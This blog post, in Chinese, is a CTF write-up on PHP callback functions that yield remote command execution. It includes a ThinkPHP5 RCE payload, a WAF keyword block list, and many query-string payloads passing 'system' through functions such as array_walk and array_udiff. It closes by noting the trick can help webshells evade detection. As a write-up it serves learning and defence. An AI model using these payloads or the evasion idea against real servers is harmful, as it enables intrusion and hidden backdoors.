CTF之回调函数利用

前言

最近在整理学习CTF WEB方向的知识,有个网友问了一道题,觉得还不错,因此记录一下解题过程和学习思路。

回调函数

什么是回调函数?

在php中,回调函数是可以当作参数传递给其他函数,并在其他函数中被调用。

初识回调函数

Thinkphp5 RCE总结 - Y4er的博客

最早知道回调函数的时候,应该是在Thinkphp5 RCE系列的漏洞中

image

根据Thinkphp5 RCE的payload可知,这段payload的作用是通过call_user_func_array函数去调用回调函数名是system的函数,并给这个回调函数传入参数whoami。即通过system函数去执行命令whoami

1
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

简单的demo

call_user_func_array

1
2
3
4
5
6
7
<?php  
highlight_file(__FILE__);
$func = $_GET['func'];
$args = $_GET['args'];
if(isset($func)&&isset($args)){
call_user_func_array($func,$args);
}

/call_user_func_array.php?func=system&args[]=whoami

注:call_user_func_array传入的参数是数组

image

call_user_func

1
2
3
4
5
6
7
<?php  
highlight_file(__FILE__);
$func = $_GET['func'];
$args = $_GET['args'];
if(isset($func)&&isset($args)){
call_user_func($func,$args);
}

/call_user_func.php?func=system&args=whoami

image

CTF题目

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php  
highlight_file(__FILE__);
$func=$_GET["func"]??"var_dump";
$args=$_GET["args"]??["Hack Me!"];
function waf($str){
if(preg_match('/call|system|exec|popen|file|passthru|open|eval|map|include|require|filter|assert|env|preg|ini|read|write|rename|show|sort|func|curl|copy|dir|get|proc|ld/i',$str)){
return false;
} return true;
}
if(waf($func)){
call_user_func_array($func,$args);
}else{
echo "try again";
}

注:这个源码的运行得是php7+,因为两个问号(??)是php7新推出的表达式。

这个题目也很容易看懂。get请求传入参数funcargs,通过waf函数去判断func的值中是否包含call|system|exec|popen|file|passthru|open|eval|map|include|require|filter|assert|env|preg|ini|read|write|rename|show|sort|func|curl|copy|dir|get|proc|ld,如果含有,走else逻辑,页面输出try again,否则就进入到call_user_func_array逻辑。

实际上一开始是没啥太大的思路,只是执行了一下phpinfo

?func=phpinfo&args[]=1

image

hint

image

仔细查了一下这个hint中所提到的函数,发现该函数array_intersect_uassoc的最后一个参数可以是一个回调函数。

array_intersect_uassoc

PHP array_intersect_uassoc() 函数

image

简单的使用

1
2
<?php  
array_intersect_uassoc(array('2'=>"1"),array('1'),'print_r');

image

如果想要造成命令执行的效果,代码应该修改成

1
2
<?php  
array_intersect_uassoc(array('whoami'=>"1"),array('1'),'system');

即数组下标是待执行的命令,最后一个参数是回调函数名。

image

最后的payload为:?func=array_intersect_uassoc&args[0][whoami]=&args[1][0]=1&args[2]=system

image

寻找回调函数的思路

我们不是以解题为目的,而是要以学习为目的,因此想到是否有其他的函数具备和array_intersect_uassoc一样的作用呢?

在php中,可用做当后门的回调函数的关键词有callablemixed $options
handlercallbackinvokefunctionfuncname等。

那么可以通过get_defined_functions()函数去获取到所有的内置函数,取出传参的参数名,判断是否包含这几个关键词即可。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php  
$functions = get_defined_functions();
$internal_functions = $functions['internal'];
$count = 0;
foreach ($internal_functions as $function_name) {
$reflection = new ReflectionFunction($function_name);
$parameters = $reflection->getParameters();
foreach ($parameters as $parameter) {
$parameter_type = $parameter->getName();
if (stripos($parameter_type, 'callable') !== false
|| stripos($parameter_type, 'handler') !== false
|| stripos($parameter_type, 'callback') !== false
|| stripos($parameter_type, 'mixed') !== false
|| stripos($parameter_type, 'invoke') !== false
|| stripos($parameter_type,'function')!==false
|| stripos($parameter_type,'funcname') !==false
) {
$count++;
echo $reflection->getName()."\t";
/*foreach ($parameters as $parameter) {
echo "参数名:".$parameter->getName()."\t";
}*/ echo "\n";
break;
} }}
echo $count;
?>

image

可能具备回调函数功能的函数

运行脚本后得到以下可能符合条件的内置函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function_exists	
set_error_handler
set_exception_handler
preg_replace_callback
spl_autoload_register
spl_autoload_unregister
iterator_apply
header_register_callback
call_user_func
call_user_func_array
forward_static_call
forward_static_call_array
register_shutdown_function
register_tick_function
unregister_tick_function
is_callable
ob_start
usort
uasort
uksort
array_walk
array_walk_recursive
array_reduce
array_intersect_ukey
array_uintersect
array_uintersect_assoc
array_intersect_uassoc
array_uintersect_uassoc
array_diff_ukey
array_udiff
array_udiff_assoc
array_diff_uassoc
array_udiff_uassoc
array_filter
array_map
libxml_set_external_entity_loader
mb_ereg_replace_callback
xdebug_start_function_monitor

经过测试后发现以下的函数可能符合解题条件

usort (failure)

usort

1
2
<?php  
usort($_GET['a'],"system");

?a[0]=whoami&a[1]=1

由于waf中过滤了sort字符串,因此usort使用不了。

uasort (failure)

uasort

1
2
<?php  
uasort($_GET['a'],"system");

?a[0]=whoami&a[1]=1

由于waf中过滤了sort字符串,因此usort使用不了。

uksort (failure)

uksort

1
2
<?php  
uksort($_GET['a'],"system");

?a[whoami]=1&a[1]=1

由于waf中过滤了sort字符串,因此usort使用不了。

array_walk (success)

array_walk

1
2
<?php  
array_walk($_GET['a'],"system");

?a[0]=whoami

符合该题解,最终payload为

?func=array_walk&args[0][1]=whoami&args[1]=system

array_walk_recursive (success)

array_walk_recursive

1
2
<?php  
array_walk_recursive($_GET['a'],"system");

?a[0]=whoami

符合该题解,最终payload为

?func=array_walk_recursive&args[0][1]=whoami&args[1]=system

array_reduce (success)

array_reduce

1
2
<?php  
array_reduce(array(1),"system",$_GET['a']);

?a=whoami

符合该题解,最终payload为

?func=array_reduce&args[0][0]=1&args[1]=system&args[2]=whoami

image

array_intersect_ukey (success)

array_intersect_ukey

1
2
3
4
<?php  
$a1=array($_GET['a']=>"1");
$a2=array("a"=>"0");
array_intersect_ukey($a1,$a2,"system");

?a=whoami

符合该题解,最终payload为

?func=array_intersect_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system

image

array_uintersect (success)

array_uintersect

1
2
3
4
<?php  
$a1=array("1"=>$_GET['a']);
$a2=array("a"=>"1");
array_uintersect($a1,$a2,"system");

?a=whoami

符合该题解,最终payload为

?func=array_uintersect&args[0][0]=whoami&args[1][0]=1&args[2]=system

array_uintersect_assoc (success)

array_uintersect_assoc

符合该题解,最终payload为
?func=array_uintersect_assoc&args[0][0]=whoami&args[1][0]=1&args[2]=system

array_intersect_uassoc (success)

array_intersect_uassoc

上面测试了,直接放payload
?func=array_intersect_uassoc&args[0][whoami]=&args[1][0]=1&args[2]=system

array_uintersect_uassoc (success)

array_uintersect_uassoc

1
2
<?php  
array_uintersect_uassoc(array('whoami'=>'whoami'),array(1),"system","system");

?func=array_uintersect_uassoc&args[0][0]=whoami&args[1][0]=1&args[2]=system&args[3]=system

array_diff_ukey (success)

array_diff_ukey

1
2
3
<?php  
array_diff_ukey(array('whoami'=>'1'),array(1),"system");

?func=array_diff_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system

array_udiff (success)

array_udiff

1
2
<?php  
array_udiff(array("0"=>"whoami"),array(1),"system");

?func=array_udiff&args[0][1]=whoami&args[1][1]=1&args[2]=system

array_udiff_assoc (success)

array_udiff_assoc

1
2
<?php  
array_udiff_assoc(array("1"=>"whoami"),array("1"=>"2"),"system");

?func=array_udiff_assoc&args[0][1]=whoami&args[1][1]=1&args[2]=system

array_diff_uassoc (success)

array_diff_uassoc

1
2
<?php  
array_diff_uassoc(array("whoami"=>"1"),array("1"=>"2"),"system");

?func=array_diff_uassoc&args[0][whoami]=1&args[1][1]=1&args[2]=system

array_udiff_uassoc (success)

array_udiff_uassoc

1
2
<?php  
array_udiff_uassoc(array("whoami"=>"whoami"),array(1),"system","system");

?func=array_udiff_uassoc&args[0][whoami]=1&args[1][1]=1&args[2]=system&args[3]=system

array_filter (failure)

array_filter

1
2
<?php  
array_filter(array("whoami"),"system");

由于waf中过滤了filter字符串,因此array_filter使用不了。

array_map (failure)

array_map

1
2
<?php  
array_map("system",array("whoami"));

由于waf中过滤了map字符串,因此array_map使用不了。

简单归总一下解题payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
?func=array_walk&args[0][1]=whoami&args[1]=system

?func=array_walk_recursive&args[0][1]=whoami&args[1]=system

?func=array_reduce&args[0][0]=1&args[1]=system&args[2]=whoami

?func=array_intersect_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system

?func=array_uintersect&args[0][0]=whoami&args[1][0]=1&args[2]=system

?func=array_uintersect_assoc&args[0][0]=whoami&args[1][0]=1&args[2]=system

?func=array_intersect_uassoc&args[0][whoami]=&args[1][0]=1&args[2]=system

?func=array_uintersect_uassoc&args[0][0]=whoami&args[1][0]=1&args[2]=system&args[3]=system

?func=array_diff_ukey&args[0][whoami]=1&args[1][0]=1&args[2]=system

?func=array_udiff&args[0][1]=whoami&args[1][1]=1&args[2]=system

?func=array_udiff_assoc&args[0][1]=whoami&args[1][1]=1&args[2]=system

?func=array_diff_uassoc&args[0][whoami]=1&args[1][1]=1&args[2]=system

总结

虽然CTF里面的解题思路,在实战中进行代码审计和漏洞利用时很少会遇到。但是吧,这玩意似乎能用来做php的webshell免杀。

参考文章

https://blog.csdn.net/Fly_hps/article/details/88119675
https://www.runoob.com/php/php-tutorial.html
https://y4er.com/post/thinkphp5-rce/

Author: jdr
Link: https://jdr2021.github.io/2023/04/25/CTF之回调函数利用/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.